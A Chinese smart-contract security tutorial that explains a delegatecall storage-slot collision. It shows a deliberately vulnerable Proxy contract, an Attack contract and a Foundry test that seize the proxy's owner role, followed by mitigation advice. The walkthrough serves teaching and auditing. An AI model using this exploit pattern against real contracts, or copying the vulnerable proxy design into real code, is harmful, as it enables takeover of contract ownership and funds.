Solidity&Foundry 安全审计测试 Delegatecall漏洞2

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi

描述:

我们已经了解了delegatecall 一个基础的漏洞------所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;

2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。

分析:

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0------变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

javascript 复制代码
contract Proxy {
    Delegate delegate;
    address public owner;
    uint public num;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerable
        require(suc, "Delegatecall failed");
    }
}

Attack 代码:

javascript 复制代码
contract Attack {
    Delegate delegate;
    address public owner;
    uint public num;

    Proxy public proxy;

    constructor(address _proxy) public {
        proxy = Proxy(_proxy);
    }

    function attack() external {
        address(proxy).call(
            abi.encodeWithSignature(
                "pwn(uint256)",
                uint(uint160(address(this)))
            )
        );
        //address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));
    }

    function pwn(uint _num) public {
        owner = msg.sender;
    }
}

foundry测试代码:

javascript 复制代码
contract ContractTest is Test {
    Proxy proxy;
    Delegate DelegateContract;
    Attack attack;
    address alice;
    address bob;

    function setUp() public {
        alice = vm.addr(1);
        bob = vm.addr(2);
    }

    function testDelegatecall() public {
        DelegateContract = new Delegate(); // logic contract
        vm.prank(alice);
        proxy = new Proxy(address(DelegateContract)); // proxy contract
        attack = new Attack(address(proxy)); // attack contract

        console.log("Alice address", alice);
        console.log("Proxy owner", proxy.owner());

        // Delegatecall allows a smart contract to dynamically load code from a different address at runtime.
        console.log("Change DelegationContract owner to bob...");

        attack.attack();
        vm.prank(bob);
        address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));

        console.log("Proxy owner", proxy.owner());
        console.log(
            "Exploit completed, proxy contract storage has been manipulated"
        );
    }
}
相关推荐
●VON21 分钟前
智能暗战:AI 安全攻防实战全景解析
人工智能·学习·安全·von
廋到被风吹走21 分钟前
【Spring】Spring Boot Actuator 深度解析:健康检查、指标暴露与端点安全
spring boot·安全·spring
乐迪信息26 分钟前
乐迪信息:防止船舶误入禁航区:AI偏航检测精准干预
大数据·运维·人工智能·物联网·安全
知识分享小能手1 小时前
Ubuntu入门学习教程,从入门到精通,Ubuntu 22.04 中的区块链 —— 知识点详解 (23)
学习·ubuntu·区块链
扑火的小飞蛾10 小时前
网络安全小白学习路线图 (基于提供文档库)
学习·安全·web安全
pusheng202512 小时前
算力时代的隐形防线:数据中心氢气安全挑战与技术突破
前端·安全
DX_水位流量监测12 小时前
大坝安全监测之渗流渗压位移监测设备技术解析
大数据·运维·服务器·网络·人工智能·安全
九河云14 小时前
从“被动适配”到“主动重构”:企业数字化转型的底层逻辑
大数据·人工智能·安全·重构·数字化转型
电报号dapp11914 小时前
钱包开发:在虚无中为数字自我筑巢
游戏·去中心化·区块链·智能合约
黄焖鸡能干四碗16 小时前
信息安全网络安全评估报告(WORD)
大数据·网络·人工智能·安全·web安全·制造·需求分析